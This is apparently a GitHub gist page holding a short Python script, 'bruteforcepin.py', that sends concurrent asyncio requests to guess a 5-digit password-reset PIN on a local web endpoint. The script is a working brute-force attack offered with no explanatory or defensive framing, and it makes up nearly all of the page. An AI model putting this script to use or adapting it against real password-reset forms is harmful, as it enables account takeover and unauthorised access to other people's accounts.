Skip to content

Instantly share code, notes, and snippets.

@betillogalvanfbc
Created February 2, 2023 20:37
Show Gist options
  • Save betillogalvanfbc/0541a7c67efc66f68734367e1b45f459 to your computer and use it in GitHub Desktop.
Save betillogalvanfbc/0541a7c67efc66f68734367e1b45f459 to your computer and use it in GitHub Desktop.
bruteforcepin.py
import asyncio
import aiohttp
async def crack_pin(prefix, session):
for i in range(10000):
pin = prefix + str(i).zfill(4)
async with session.post("http://localhost/resetpassword", data={"pin": pin}) as resp:
if resp.status == 200:
return pin
await asyncio.sleep(0.01)
async def run_attacks(session):
prefixes = [str(i) for i in range(10)]
tasks = [asyncio.create_task(crack_pin(prefix, session)) for prefix in prefixes]
cracked_pin = await asyncio.gather(*tasks)
return [pin for pin in cracked_pin if pin is not None][0]
async def main():
async with aiohttp.ClientSession() as session:
pin = await run_attacks(session)
print(f"Cracked pin: {pin}")
asyncio.run(main())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment